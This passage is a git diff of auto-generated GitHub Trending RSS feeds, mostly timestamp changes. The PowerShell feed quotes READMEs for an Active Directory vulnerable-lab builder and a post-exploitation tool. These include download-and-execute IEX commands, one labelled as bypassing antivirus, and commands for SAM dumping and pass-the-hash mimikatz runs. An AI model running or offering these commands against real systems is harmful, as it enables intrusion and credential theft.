a/pickle/daily/index.xml b/pickle/daily/index.xml index fa3c8ae0f12..65bd280e056 100644 --- a/pickle/daily/index.xml +++ b/pickle/daily/index.xml @@ -1,7 +1,7 @@ GitHub Pickle Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:36:18Z + 2023-09-20T01:37:40Z Daily Trending of Pickle in GitHub \ No newline at end of file diff --git a/picolisp/daily/index.xml b/picolisp/daily/index.xml index 9fb636b9ad6..ede8759a1dc 100644 --- a/picolisp/daily/index.xml +++ b/picolisp/daily/index.xml @@ -1,7 +1,7 @@ GitHub PicoLisp Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:36:20Z + 2023-09-20T01:37:38Z Daily Trending of PicoLisp in GitHub \ No newline at end of file diff --git a/piglatin/daily/index.xml b/piglatin/daily/index.xml index d393619bc89..18689fcab9c 100644 --- a/piglatin/daily/index.xml +++ b/piglatin/daily/index.xml @@ -1,7 +1,7 @@ GitHub PigLatin Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:36:19Z + 2023-09-20T01:37:39Z Daily Trending of PigLatin in GitHub \ No newline at end of file diff --git a/pike/daily/index.xml b/pike/daily/index.xml index a8129ad3b7c..d8c86f844dc 100644 --- a/pike/daily/index.xml +++ b/pike/daily/index.xml @@ -1,7 +1,7 @@ GitHub Pike Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:36:17Z + 2023-09-20T01:37:37Z Daily Trending of Pike in GitHub \ No newline at end of file diff --git a/plantuml/daily/index.xml b/plantuml/daily/index.xml index dc50c864425..58e3dadbbda 100644 --- a/plantuml/daily/index.xml +++ b/plantuml/daily/index.xml @@ -1,7 +1,7 @@ GitHub PlantUML Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:36:23Z + 2023-09-20T01:37:44Z Daily Trending of PlantUML in GitHub \ No newline at end of file diff --git a/plpgsql/daily/index.xml b/plpgsql/daily/index.xml index 2a2703cb5d5..6bd57eaef1b 100644 --- a/plpgsql/daily/index.xml +++ b/plpgsql/daily/index.xml @@ -1,7 +1,7 @@ GitHub PLpgSQL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:36:21Z + 2023-09-20T01:37:43Z Daily Trending of PLpgSQL in GitHub \ No newline at end of file diff --git a/plsql/daily/index.xml b/plsql/daily/index.xml index db5b8de95bf..a0a92abf954 100644 --- a/plsql/daily/index.xml +++ b/plsql/daily/index.xml @@ -1,7 +1,7 @@ GitHub PLSQL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:36:24Z + 2023-09-20T01:37:42Z Daily Trending of PLSQL in GitHub \ No newline at end of file diff --git a/pod-6/daily/index.xml b/pod-6/daily/index.xml index ac8aefd855a..8ebfc2b39c0 100644 --- a/pod-6/daily/index.xml +++ b/pod-6/daily/index.xml @@ -1,7 +1,7 @@ GitHub Pod 6 Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:36:25Z + 2023-09-20T01:37:45Z Daily Trending of Pod 6 in GitHub \ No newline at end of file diff --git a/pod/daily/index.xml b/pod/daily/index.xml index a0d49dbe4db..82289ef6bf3 100644 --- a/pod/daily/index.xml +++ b/pod/daily/index.xml @@ -1,7 +1,7 @@ GitHub Pod Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:36:22Z + 2023-09-20T01:37:41Z Daily Trending of Pod in GitHub \ No newline at end of file diff --git a/pogoscript/daily/index.xml b/pogoscript/daily/index.xml index cffc7b451e3..3c7011350c8 100644 --- a/pogoscript/daily/index.xml +++ b/pogoscript/daily/index.xml @@ -1,7 +1,7 @@ GitHub PogoScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:36:26Z + 2023-09-20T01:37:48Z Daily Trending of PogoScript in GitHub \ No newline at end of file diff --git a/pony/daily/index.xml b/pony/daily/index.xml index 62592e04a91..f1288fbdfd7 100644 --- a/pony/daily/index.xml +++ b/pony/daily/index.xml @@ -1,7 +1,7 @@ GitHub Pony Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:36:27Z + 2023-09-20T01:37:47Z Daily Trending of Pony in GitHub \ No newline at end of file diff --git a/postcss/daily/index.xml b/postcss/daily/index.xml index c81f7c5f531..4457e305c27 100644 --- a/postcss/daily/index.xml +++ b/postcss/daily/index.xml @@ -1,7 +1,7 @@ GitHub PostCSS Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:36:30Z + 2023-09-20T01:37:50Z Daily Trending of PostCSS in GitHub \ No newline at end of file diff --git a/postscript/daily/index.xml b/postscript/daily/index.xml index 15c07d4c0d8..3697c658d90 100644 --- a/postscript/daily/index.xml +++ b/postscript/daily/index.xml @@ -1,7 +1,7 @@ GitHub PostScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:36:31Z + 2023-09-20T01:37:51Z Daily Trending of PostScript in GitHub \ No newline at end of file diff --git a/pov-ray-sdl/daily/index.xml b/pov-ray-sdl/daily/index.xml index de23e3ca64c..5c5d21dc977 100644 --- a/pov-ray-sdl/daily/index.xml +++ b/pov-ray-sdl/daily/index.xml @@ -1,7 +1,7 @@ GitHub POV-Ray SDL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:36:29Z + 2023-09-20T01:37:49Z Daily Trending of POV-Ray SDL in GitHub \ No newline at end of file diff --git a/powerbuilder/daily/index.xml b/powerbuilder/daily/index.xml index d2ddfb143be..58ebf81c9db 100644 --- a/powerbuilder/daily/index.xml +++ b/powerbuilder/daily/index.xml @@ -1,7 +1,7 @@ GitHub PowerBuilder Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:36:35Z + 2023-09-20T01:37:54Z Daily Trending of PowerBuilder in GitHub \ No newline at end of file diff --git a/powershell/daily/index.xml b/powershell/daily/index.xml index 4755fcf4be0..bd656debe7a 100644 --- a/powershell/daily/index.xml +++ b/powershell/daily/index.xml @@ -1,21 +1,21 @@ GitHub PowerShell Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:36:39Z + 2023-09-20T01:37:57Z Daily Trending of PowerShell in GitHub - dmetz12/Show-Treemenu - 2023-09-19T01:36:39Z - tag:github.com,2023-09-19:/dmetz12/Show-Treemenu - - <p></p><hr><h1>Show-Treemenu</h1> <h2>SYNOPSIS</h2> <p>Configures and displays a terminal menu based on end-user settings defined in a .XML file.</p> <h2>DESCRIPTION</h2> <p>The <strong>Show-Treemenu</strong> function reads user-specific terminal menu settings from an .XML file and uses these settings to create an organized menu. Users can select from different menu sections, options within those sections, and execute corresponding functions.</p> <p>This function allows for <strong>easy customization of terminal menus, making it convenient for users to access and execute a collection of functions/scriptpaths in a structured and user-friendly manner</strong>.</p> <h2>DEMO</h2> <p><strong>[1.]</strong> Configure your <em>MenuConfig.xml</em> file with your <code>SectionNames</code>, <code>Options</code>, &amp; <code>Functions or ScriptPaths</code> that correspond to your <code>Options</code>.</p> <p><img src="https://github.com/dmetz12/Show-Treemenu/raw/main/img/Showcase1.PNG" alt="GitHub Logo"></p> <p><strong>[2.]</strong> Ensure the functions that will be called are dot sourced or loaded into memory, then run <code>Show-Treemenu -XmlPath "C:\Your\XML\Path\MenuConfig.xml"</code>.</p> <p><img src="https://github.com/dmetz12/Show-Treemenu/raw/main/img/Showcase2.PNG" alt="GitHub Logo"></p> <p><strong>[3.]</strong> Make a selection from the MainMenu, the sections submenu will appear.</p> <p><img src="https://github.com/dmetz12/Show-Treemenu/raw/main/img/Showcase3.PNG" alt="GitHub Logo"></p> <p><strong>[4.]</strong> Make a selection from the generated submenu, the corresponding option's function will execute.</p> <p><img src="https://github.com/dmetz12/Show-Treemenu/raw/main/img/Showcase4.PNG" alt="GitHub Logo"> <strong>NOTE:</strong> <em>The boolean parameter <strong>[-Timer]</strong> by default is set to $true and will render the time it took to process the function or script path executed. This can be disabled by adding <strong>[-Timer $false]</strong> when executing the Show-Treemenu function</em>.</p> <h3>BranchStyle Demo</h3> <h4>DoubleLine</h4> <p><img src="https://github.com/dmetz12/Show-Treemenu/raw/main/img/Showcase5.PNG" alt="GitHub Logo"></p> <h4>ASCII</h4> <p><img src="https://github.com/dmetz12/Show-Treemenu/raw/main/img/Showcase6.PNG" alt="GitHub Logo"></p> <h2>SYNTAX</h2> <pre><code>Show-Treemenu [-XmlPath] &lt;String&gt; [[-MenuTitle] &lt;String&gt;] [[-SelectionPrompt] &lt;String&gt;] [[-QuitExpression] &lt;String&gt;] [[-Timer] &lt;Boolean&gt;] [[-TitleColor] &lt;String&gt;] [[-BranchColor] &lt;String&gt;] [[-SectionColor] &lt;String&gt;] [[-OptionColor] &lt;String&gt;] [[-PromptColor] &lt;String&gt;] [[-BranchStyle] &lt;String&gt;] [&lt;CommonParameters&gt;] </code></pre> <h2>EXAMPLES</h2> <h3>EXAMPLE 1</h3> <pre><code>Show-TreeMenu -XmlPath "C:\YourPath\ShowTreemenu\MenuConfig.xml" </code></pre> <h3>EXAMPLE 2</h3> <pre><code>Show-TreeMenu -XmlPath "C:\YourPath\ShowTreemenu\MenuConfig.xml" -BranchColor Yellow </code></pre> <h3>EXAMPLE 3</h3> <pre><code>Show-Treemenu -XmlPath .\MenuConfig.xml -TitleColor Green -BranchColor Cyan -SectionColor Yellow -OptionColor White -BranchStyle DoubleLine -PromptColor Green </code></pre> <h2>PARAMETERS</h2> <h3>-XmlPath</h3> <p>The path of the <strong>MenuConfig.xml</strong> file.</p> <pre><code class="language-yaml">Type: String Parameter Sets: (All) Aliases: Required: True Position: 1 Default value: None Accept pipeline input: True (ByValue) Accept wildcard characters: False </code></pre> <h3>-MenuTitle</h3> <p>Simply the title of the menu.</p> <pre><code class="language-yaml">Type: String Parameter Sets: (All) Aliases: Required: False Position: 2 Default value: MainMenu Accept pipeline input: False Accept wildcard characters: False </code></pre> <h3>-SelectionPrompt</h3> <p>The phrase the user will be prompted with to make a choice/selection.</p> <pre><code class="language-yaml">Type: String Parameter Sets: (All) Aliases: Required: False Position: 3 Default value: Choose an Option Accept pipeline input: False Accept wildcard characters: False </code></pre> <h3>-QuitExpression</h3> <p>Use this to call a function to logoff an API, call a quit function / script path, or simply return to exit the menu.</p> <pre><code class="language-yaml">Type: String Parameter Sets: (All) Aliases: Required: False Position: 4 Default value: Return Accept pipeline input: False Accept wildcard characters: False </code></pre> <h3>-Timer</h3> <p>Gets the processing time of an executed function/scriptfile and returns it cleanly in <strong>00h 00m 00s</strong> time format.</p> <pre><code class="language-yaml">Type: Boolean Parameter Sets: (All) Aliases: Required: False Position: 5 Default value: True Accept pipeline input: False Accept wildcard characters: False </code></pre> <h3>-TitleColor</h3> <p>The color of the title of the menu.</p> <pre><code class="language-yaml">Type: String Parameter Sets: (All) Aliases: Required: False Position: 6 Default value: Cyan Accept pipeline input: False Accept wildcard characters: False </code></pre> <h3>-BranchColor</h3> <p>The color of the <strong>grid-like</strong> symbols used to create the treemenu.</p> <pre><code class="language-yaml">Type: String Parameter Sets: (All) Aliases: Required: False Position: 7 Default value: Gray Accept pipeline input: False Accept wildcard characters: False </code></pre> <h3>-SectionColor</h3> <p>The color of the main sections or categories.</p> <pre><code class="language-yaml">Type: String Parameter Sets: (All) Aliases: Required: False Position: 8 Default value: Yellow Accept pipeline input: False Accept wildcard characters: False </code></pre> <h3>-OptionColor</h3> <p>The color of the options, below and indented underneath the sections.</p> <pre><code class="language-yaml">Type: String Parameter Sets: (All) Aliases: Required: False Position: 9 Default value: White Accept pipeline input: False Accept wildcard characters: False </code></pre> <h3>-PromptColor</h3> <p>The color of the phrase the user will be prompted with to make a choice/selection.</p> <pre><code class="language-yaml">Type: String Parameter Sets: (All) Aliases: Required: False Position: 10 Default value: Cyan Accept pipeline input: False Accept wildcard characters: False </code></pre> <h3>-BranchStyle</h3> <p>The style <strong>ASCII</strong>, <strong>SingleLine</strong>, or <strong>DoubleLine</strong> that will be used to generate the treemenu.</p> <pre><code class="language-yaml">Type: String Parameter Sets: (All) Aliases: Required: False Position: 11 Default value: SingleLine Accept pipeline input: False Accept wildcard characters: False </code></pre> <h3>CommonParameters</h3> <p>This cmdlet supports the common parameters: -Debug, -ErrorAction, -ErrorVariable, -InformationAction, -InformationVariable, -OutVariable, -OutBuffer, -PipelineVariable, -Verbose, -WarningAction, and -WarningVariable. For more information, see <a href="http://go.microsoft.com/fwlink/?LinkID=113216">about_CommonParameters</a>.</p> <h2>INPUTS</h2> <h2>OUTPUTS</h2> <h2>NOTES</h2> <p>Author: Dan Metzler PowerShellVersion: PowerShell 5.1 or Later Recommended.</p> <p>If facing an issue with rendering the menu on PSVersion &lt; 5.1, try parameter [-BranchStyle ASCII] which is <strong>NOT</strong> using Box Drawing Symbols.</p> <p>To use box drawing symbols effectively, it's recommended to use a newer version of PowerShell, such as PowerShell 5.1 or PowerShell 7, which provide better Unicode support and rendering capabilities.</p> <h2>RELATED LINKS</h2> <p><a href="https://github.com/dmetz12">https://github.com/dmetz12</a></p> + safebuffer/vulnerable-AD + 2023-09-20T01:37:57Z + tag:github.com,2023-09-20:/safebuffer/vulnerable-AD + + <p>Create a vulnerable active directory that's allowing you to test most of the active directory attacks in a local lab</p><hr><h1 align="center"> Vulnerable-AD <br> </h1> <p>Create a vulnerable active directory that's allowing you to test most of active directory attacks in local lab</p> <h3>Main Features</h3> <ul> <li>Randomize Attacks</li> <li>Full Coverage of the mentioned attacks</li> <li>you need run the script in DC with Active Directory installed</li> <li>Some of attacks require client workstation</li> </ul> <h3>Supported Attacks</h3> <ul> <li>Abusing ACLs/ACEs</li> <li>Kerberoasting</li> <li>AS-REP Roasting</li> <li>Abuse DnsAdmins</li> <li>Password in Object Description</li> <li>User Objects With Default password (Changeme123!)</li> <li>Password Spraying</li> <li>DCSync</li> <li>Silver Ticket</li> <li>Golden Ticket</li> <li>Pass-the-Hash</li> <li>Pass-the-Ticket</li> <li>SMB Signing Disabled</li> </ul> <h3>Example</h3> <pre><code class="language-powershell"># if you didn't install Active Directory yet , you can try Install-windowsfeature AD-domain-services Import-Module ADDSDeployment Install-ADDSForest -CreateDnsDelegation:$false -DatabasePath "C:\\Windows\\NTDS" -DomainMode "7" -DomainName "cs.org" -DomainNetbiosName "cs" -ForestMode "7" -InstallDns:$true -LogPath "C:\\Windows\\NTDS" -NoRebootOnCompletion:$false -SysvolPath "C:\\Windows\\SYSVOL" -Force:$true # if you already installed Active Directory, just run the script ! IEX((new-object net.webclient).downloadstring("https://raw.githubusercontent.com/wazehell/vulnerable-AD/master/vulnad.ps1")); Invoke-VulnAD -UsersLimit 100 -DomainName "cs.org" </code></pre> <h3>TODO</h3> <ul> <li>Play with workstations !</li> <li>Click close issue button on github</li> </ul> - ikrima/gamedevguide - 2023-09-19T01:36:39Z - tag:github.com,2023-09-19:/ikrima/gamedevguide - - <p>Game Development & Unreal Engine Programming Guide</p><hr><h1>Game Development Notes</h1> <p><em><em>site build:</em></em> <a href="https://github.com/ikrima/gamedevguide/actions/workflows/mkdocs-build.yml"><img src="https://github.com/ikrima/gamedevguide/actions/workflows/mkdocs-build.yml/badge.svg?sanitize=true" alt="mkdocs-build"></a><br> <em><em>site live:</em></em> <a href="https://ikrima.dev">ikrima.dev</a><br> <em><em>site repo:</em></em> <a href="https://github.com/ikrima/gamedevguide">github.com/ikrima/gamedevguide</a></p> <h2>Wut is this</h2> <p>These are my personal notes from the past 4 years that I'm transforming from our internal dev onboarding guide.</p> <p>I'm aiming to process about one section a day since the conversion from onenote/evernote/confluence is lossy and needs a final human pass to clean up little niggles.</p> <p>You can subscribe to the repo for updates</p> <h2>Site Build Instructions</h2> <ul> <li>Originally built with gatsby, migrating to mkdocs</li> <li>My notes related to the webdev of the site are in the gitrepo/docs folder</li> <li>Webdev is pita. I never use the live site anymore so ymmv; your best bet experience is cloning and opening locally <ul> <li>I use and <em>✨ recommend ✨</em> <a href="https://obsidian.md">obsidian</a>; no affiliation, it's just free, fast, sparks joy with zero setup (just open the notes folder)</li> <li><a href="https://foambubble.github.io/">foam</a> or <a href="https://code.visualstudio.com/">vscode</a> are also great alternatives</li> <li>or for the lazy, <a href="https://vscode.dev/github/ikrima/gamedevguide">vscode.dev//gamedevguide</a> or <a href="https://github.dev/ikrima/gamedevguide">github.dev//gamedevguide</a></li> </ul> </li> </ul> <h2>Current Conversion Status</h2> <p>Restarting of rationalizing all notes/guides into one place...</p> <ul> <li><input type="checkbox" disabled> Programming</li> <li><input type="checkbox" disabled> Graphics</li> <li><input type="checkbox" disabled> OneNote</li> <li><input type="checkbox" disabled> Notion <ul> <li><input type="checkbox" checked disabled> export to obsidian</li> <li><input type="checkbox" disabled> clean and integrate</li> </ul> </li> </ul> <h2>Finished Conversion</h2> <ul> <li><input type="checkbox" checked disabled> Conversion scripts from onenote/trillium to custom central store</li> <li><input type="checkbox" checked disabled> Houdini</li> <li><input type="checkbox" checked disabled> UE4 <ul> <li><input type="checkbox" checked disabled> Environment Setup</li> <li><input type="checkbox" checked disabled> Build Guide</li> <li><input type="checkbox" checked disabled> Packaging</li> <li><input type="checkbox" checked disabled> Source Control</li> <li><input type="checkbox" checked disabled> Gameplay</li> <li><input type="checkbox" checked disabled> Editor Extensions</li> <li><input type="checkbox" checked disabled> Tooling</li> <li><input type="checkbox" checked disabled> Engine Programming</li> <li><input type="checkbox" checked disabled> Rendering</li> </ul> </li> </ul> + The-Viper-One/PsMapExec + 2023-09-20T01:37:57Z + tag:github.com,2023-09-20:/The-Viper-One/PsMapExec + + <p>A PowerShell implementation of the popular CrackMapExec tool. No Linux required here!</p><hr><h1>PsMapExec</h1> <p>More detailed documentation on how to use PsMapExec is available on Gitbook: <a href="https://viperone.gitbook.io/pentest-everything/psmapexec">https://viperone.gitbook.io/pentest-everything/psmapexec</a></p> <h2>What is PsMapExec</h2> <p>A PowerShell tool heavily inspired by the popular tool CrackMapExec. Far too often I find myself on engagements without access to Linux in order to make use of CrackMapExec.</p> <p>PsMapExec is used as a post-exploitation tool to assess and compromise an Active Directory environment.</p> <h2>What methods does it support</h2> <p>Currently supported methods (Protocols)</p> <ul> <li>PsExec</li> <li>RDP</li> <li>SMB Signing</li> <li>WinRM</li> <li>WMI</li> </ul> <p>Planned methods</p> <ul> <li>MSSQL (In testing)</li> <li>IPMI</li> <li>SNMP</li> <li>FTP</li> <li>SSH</li> </ul> <h2>Quick Start</h2> <h3>Load the script directly into memory (Bypass AV)</h3> <pre><code>IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/The-Viper-One/PME-Scripts/main/Invoke-NETMongoose.ps1");IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/The-Viper-One/PsMapExec/main/PsMapExec.ps1") </code></pre> <h3>Load the script directly into memory</h3> <pre><code>IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/The-Viper-One/PsMapExec/main/PsMapExec.ps1") </code></pre> <p><br> Execute some commands over WMI</p> <pre><code>PsMapExec -Targets Servers -Username Admin -Password Pass -Method WMI -Command "net user" </code></pre> <p><br> Check RDP access across all systems</p> <pre><code>PsMapExec -Targets All -Username Admin -Password Pass -Method RDP </code></pre> <p><br> Dump SAM over WinRM and Parse the results</p> <pre><code>PsMapExec -Targets Servers -Username Admin -Password Pass -Method WinRM -Module SAM -Option Parse </code></pre> <p><br> Authenticate over WMI with a hash and execute mimikatz</p> <pre><code>PsMapExec -Targets Workstations -Username Admin -Hash [Hash] -Method WMI -Module LogonPasswords -Option Parse -ShowOutput </code></pre> <p><br> Check SMB Signing on all domain systems</p> <pre><code>PsMapExec -Targets All -GenRelayList </code></pre> <h2>Detailed Usage</h2> <ul> <li><a href="https://viperone.gitbook.io/pentest-everything/psmapexec">https://viperone.gitbook.io/pentest-everything/psmapexec</a></li> <li><a href="https://viperone.gitbook.io/pentest-everything/psmapexec/using-credentials">https://viperone.gitbook.io/pentest-everything/psmapexec/using-credentials</a></li> <li><a href="https://viperone.gitbook.io/pentest-everything/psmapexec/methods">https://viperone.gitbook.io/pentest-everything/psmapexec/methods</a></li> <li><a href="https://viperone.gitbook.io/pentest-everything/psmapexec/modules">https://viperone.gitbook.io/pentest-everything/psmapexec/modules</a></li> <li><a href="https://viperone.gitbook.io/pentest-everything/psmapexec/spray">https://viperone.gitbook.io/pentest-everything/psmapexec/spray</a></li> </ul> <h2>Aknowledgements</h2> <h2>Dependencies</h2> <p>PsMapExec has some dependencies that need to be pulled from outside the script itself in order to function. Primarily these are:</p> <ul> <li>Kirby (PowerShell based Kerberos ticket dump)</li> <li>Invoke-Pandemonium (Slightly modified Mimikatz)</li> </ul> <p>Currently, they are pulled from a seperate GitHub repository: <a href="https://github.com/The-Viper-One/PME-Scripts">https://github.com/The-Viper-One/PME-Scripts</a> <br> If you are working within an environment that has no external access or GitHub is blocked by a firewall you will need to clone the scripts in the respository onto the system from which PsMapExec is running from.</p> <p>PsMapExec does not currently host a HTTP server for these so you will need to use something like HFS: <a href="https://www.rejetto.com/hfs/?f=dl">https://www.rejetto.com/hfs/?f=dl</a> PsMapExec supports pointing to a locally or alternatively hosted server for the script dependencies.</p> <pre><code>PsMapExec -Targets All -Username [User] -Password [Pass] -LocalFileServer [IP] </code></pre> <p><img src="https://github.com/The-Viper-One/PsMapExec/assets/68926315/499ce08a-153f-434c-ae80-9df24afbe5e4" alt="image"></p> <h2>Support me</h2> <p><a href="https://www.buymeacoffee.com/ViperOne" target="_blank"><img src="https://cdn.buymeacoffee.com/buttons/v2/default-blue.png" alt="Buy Me A Coffee" style="height: 60px !important;width: 217px !important;"></a></p> <h2>Example Images</h2> <h3>Command Execution</h3> <p><img src="https://github.com/The-Viper-One/PsMapExec/assets/68926315/e770e2b3-d441-4094-8a14-94848a3b6b74" alt="image"></p> <h3>SAM Dump</h3> <p><img src="https://github.com/The-Viper-One/PsMapExec/assets/68926315/f00a5468-ee99-4db3-82f5-e59223ecf219" alt="image"></p> <h3>Mimikatz</h3> <p><img src="https://github.com/The-Viper-One/PsMapExec/assets/68926315/a576b9c8-703e-423e-8041-44daca6cf335" alt="image"></p> <h3>RDP Access</h3> <p><img src="https://github.com/The-Viper-One/PsMapExec/assets/68926315/ba875e2f-5898-4c10-a33c-7bcb9ef3a2f5" alt="image"></p> \ No newline at end of file diff --git a/prisma/daily/index.xml b/prisma/daily/index.xml index 524c7824f91..3ed2dc2ba19 100644 --- a/prisma/daily/index.xml +++ b/prisma/daily/index.xml @@ -1,7 +1,7 @@ GitHub Prisma Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:36:36Z + 2023-09-20T01:37:53Z Daily Trending of Prisma in GitHub \ No newline at end of file diff --git a/processing/daily/index.xml b/processing/daily/index.xml index f68b3110417..06c22d00e0e 100644 --- a/processing/daily/index.xml +++ b/processing/daily/index.xml @@ -1,7 +1,7 @@ GitHub Processing Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:36:34Z + 2023-09-20T01:37:53Z Daily Trending of Processing in GitHub \ No newline at end of file diff --git a/procfile/daily/index.xml b/procfile/daily/index.xml index a24d51d23f4..38ada972089 100644 --- a/procfile/daily/index.xml +++ b/procfile/daily/index.xml @@ -1,7 +1,7 @@ GitHub Procfile Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:36:55Z + 2023-09-20T01:38:19Z Daily Trending of Procfile in GitHub \ No newline at end of file diff --git a/proguard/daily/index.xml b/proguard/daily/index.xml index ee335b8d4d6..4fc8df53b98 100644 --- a/proguard/daily/index.xml +++ b/proguard/daily/index.xml @@ -1,7 +1,7 @@ GitHub Proguard Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:36:57Z + 2023-09-20T01:38:18Z Daily Trending of Proguard in GitHub \ No newline at end of file diff --git a/prolog/daily/index.xml b/prolog/daily/index.xml index a92044b358b..efb4808555b 100644 --- a/prolog/daily/index.xml +++ b/prolog/daily/index.xml @@ -1,7 +1,7 @@ GitHub Prolog Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:36:57Z + 2023-09-20T01:38:20Z Daily Trending of Prolog in GitHub \ No newline at end of file diff --git a/promela/daily/index.xml b/promela/daily/index.xml index d1700bd52ed..66b67f1759b 100644 --- a/promela/daily/index.xml +++ b/promela/daily/index.xml @@ -1,7 +1,7 @@ GitHub Promela Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:36:56Z + 2023-09-20T01:38:20Z Daily Trending of Promela in GitHub \ No newline at end of file diff --git a/propeller-spin/daily/index.xml b/propeller-spin/daily/index.xml index 85213f03a9b..e2c171e241b 100644 --- a/propeller-spin/daily/index.xml +++ b/propeller-spin/daily/index.xml @@ -1,7 +1,7 @@ GitHub Propeller Spin Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:37:00Z + 2023-09-20T01:38:22Z Daily Trending of Propeller Spin in GitHub \ No newline at end of file diff --git a/protocol-buffer-text-format/daily/index.xml b/protocol-buffer-text-format/daily/index.xml index f0a11db8509..61075b82612 100644 --- a/protocol-buffer-text-format/daily/index.xml +++ b/protocol-buffer-text-format/daily/index.xml @@ -1,7 +1,7 @@ GitHub Protocol Buffer Text Format Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:37:02Z + 2023-09-20T01:38:23Z Daily Trending of Protocol Buffer Text Format in GitHub \ No newline at end of file diff --git a/protocol-buffer/daily/index.xml b/protocol-buffer/daily/index.xml index 23637d64bdf..4adb07423f8 100644 --- a/protocol-buffer/daily/index.xml +++ b/protocol-buffer/daily/index.xml @@ -1,7 +1,7 @@ GitHub Protocol Buffer Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:36:59Z + 2023-09-20T01:38:24Z Daily Trending of Protocol Buffer in GitHub \ No newline at end of file diff --git a/public-key/daily/index.xml b/public-key/daily/index.xml index 329e4d5ce30..088429acf04 100644 --- a/public-key/daily/index.xml +++ b/public-key/daily/index.xml @@ -1,7 +1,7 @@ GitHub Public Key Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:37:01Z + 2023-09-20T01:38:22Z Daily Trending of Public Key in GitHub \ No newline at end of file diff --git a/pug/daily/index.xml b/pug/daily/index.xml index 457e3f184eb..29a59627bd2 100644 --- a/pug/daily/index.xml +++ b/pug/daily/index.xml @@ -1,7 +1,7 @@ GitHub Pug Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:37:05Z + 2023-09-20T01:38:29Z Daily Trending of Pug in GitHub \ No newline at end of file diff --git a/puppet/daily/index.xml b/puppet/daily/index.xml index 055e41735ba..cb0fe62cd93 100644 --- a/puppet/daily/index.xml +++ b/puppet/daily/index.xml @@ -1,7 +1,14 @@ GitHub Puppet Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:37:03Z + 2023-09-20T01:38:26Z Daily Trending of Puppet in GitHub + + pcfens/puppet-filebeat + 2023-09-20T01:38:26Z + tag:github.com,2023-09-20:/pcfens/puppet-filebeat + + <p></p><hr> + \ No newline at end of file diff --git a/pure-data/daily/index.xml b/pure-data/daily/index.xml index 4ee1ef585dd..b75e2584307 100644 --- a/pure-data/daily/index.xml +++ b/pure-data/daily/index.xml @@ -1,7 +1,7 @@ GitHub Pure Data Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:37:04Z + 2023-09-20T01:38:27Z Daily Trending of Pure Data in GitHub \ No newline at end of file diff --git a/purebasic/daily/index.xml b/purebasic/daily/index.xml index 7030a708603..875bafbf1f4 100644 --- a/purebasic/daily/index.xml +++ b/purebasic/daily/index.xml @@ -1,7 +1,7 @@ GitHub PureBasic Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:37:06Z + 2023-09-20T01:38:26Z Daily Trending of PureBasic in GitHub \ No newline at end of file diff --git a/purescript/daily/index.xml b/purescript/daily/index.xml index 966565a050a..c12a53a6616 100644 --- a/purescript/daily/index.xml +++ b/purescript/daily/index.xml @@ -1,7 +1,14 @@ GitHub PureScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:37:11Z + 2023-09-20T01:38:37Z Daily Trending of PureScript in GitHub + + thought2/purescript-fmt + 2023-09-20T01:38:37Z + tag:github.com,2023-09-20:/thought2/purescript-fmt + + <p>Format strings, safely.</p><hr> + \ No newline at end of file diff --git a/python-console/daily/index.xml b/python-console/daily/index.xml index 1fee51a171e..0e7174f5f4c 100644 --- a/python-console/daily/index.xml +++ b/python-console/daily/index.xml @@ -1,7 +1,7 @@ GitHub Python console Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:37:08Z + 2023-09-20T01:38:30Z Daily Trending of Python console in GitHub \ No newline at end of file diff --git a/python-traceback/daily/index.xml b/python-traceback/daily/index.xml index 808f8bf08a1..bf42d43e4f6 100644 --- a/python-traceback/daily/index.xml +++ b/python-traceback/daily/index.xml @@ -1,7 +1,7 @@ GitHub Python traceback Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:37:36Z + 2023-09-20T01:39:08Z Daily Trending of Python traceback in GitHub \ No newline at end of file diff --git a/python/daily/index.xml b/python/daily/index.xml index 24bce7ec56f..bbd71f1fd8d 100644 --- a/python/daily/index.xml +++ b/python/daily/index.xml @@ -1,28 +1,28 @@ GitHub Python Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:37:14Z + 2023-09-20T01:38:37Z Daily Trending of Python in GitHub - opengeos/leafmap - 2023-09-19T01:37:14Z 